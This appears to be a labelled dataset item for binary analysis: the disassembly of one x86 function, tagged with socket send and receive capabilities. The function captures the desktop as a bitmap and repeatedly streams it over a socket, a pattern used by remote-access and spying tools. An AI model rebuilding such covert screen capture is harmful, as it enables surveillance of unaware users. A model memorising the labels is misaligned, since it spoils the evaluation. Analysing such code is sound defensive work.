Function at 0x41311c
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push 0x84
mov eax, 0x43c5f9
call fcn.00416e03
mov dword [ebp - 0x78], ecx
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [0x453abc], eax
mov eax, dword [ebp + 0x10]
push ebx
mov dword [0x453ac0], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x413363
push 0x453ac4
push 0x43d3c0
push 1
push ebx
push 0x43d3d0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x413363
mov edx, esi
lea ecx, [ebp - 0x13]
call fcn.00402f2b
push ecx
lea ecx, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402f4f
mov dword [ebp - 4], ebx
lea edx, [ebp - 0x90]
mov ecx, dword [0x453b10]
lea ecx, [ecx + 0xf4]
call fcn.00409677
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x90]
mov ebx, eax
call fcn.00402db4
cmp ebx, 0xffffffff
je 0x413363
jmp 0x413300
push 0x10
call dword [sym.imp.gdiplus.dll_GdipAlloc]
mov esi, eax
test esi, esi
je 0x413200
and dword [ebp - 0x6c], 0
xor eax, eax
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push eax
push 0
push dword [ebp - 0x74]
mov dword [esi], 0x44a73c
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x6c]
mov dword [esi + 4], eax
jmp 0x413202
xor esi, esi
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x20]
mov edx, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [ebp - 0x78]
push dword [edi + 8]
call fcn.00412100
pop ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
test esi, esi
je 0x41322c
mov eax, dword [esi]
push ecx
mov ecx, esi
call dword [eax]
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x44]
call fcn.004074d5
cmp byte [ebp - 0x30], 0
je 0x413346
mov al, byte [edi + 4]
xor esi, esi
mov byte [ebp - 0x68], al
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x34]
push esi
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x68]
push 0xc
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x413338
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x44]
push esi
push eax
push dword [ebp - 0x44]
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x413338
push esi
push 4
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], esi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x413338
mov eax, dword [ebp - 0x48]
push esi
mov dword [edi + 8], eax
lea eax, [ebp - 0x4c]
push 4
push eax
push ebx
mov dword [ebp - 0x4c], esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x413338
mov eax, dword [ebp - 0x4c]
push esi
mov dword [0x453abc], eax
lea eax, [ebp - 0x2c]
push 4
push eax
push ebx
mov dword [ebp - 0x2c], esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x413338
mov eax, dword [ebp - 0x2c]
push 0x64
mov dword [0x453ac0], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x30], 0
je 0x4132f4
lea ecx, [ebp - 0x44]
call fcn.00402cd0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00402cd0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ecx, eax
lea edi, [ebp - 0x5c]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x5c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
push dword [ebp - 0x50]
mov edx, dword [ebp - 0x54]
lea ecx, [ebp - 0x74]
call fcn.004125a1
mov al, byte [ebp - 0x70]
pop ecx
test al, al
jne 0x4131c6
jmp 0x413352
cmp byte [ebp - 0x30], 0
je 0x413346
lea ecx, [ebp - 0x44]
call fcn.00402cd0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00402cd0
mov eax, dword [0x453ac4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
call fcn.00416db2
ret 0xc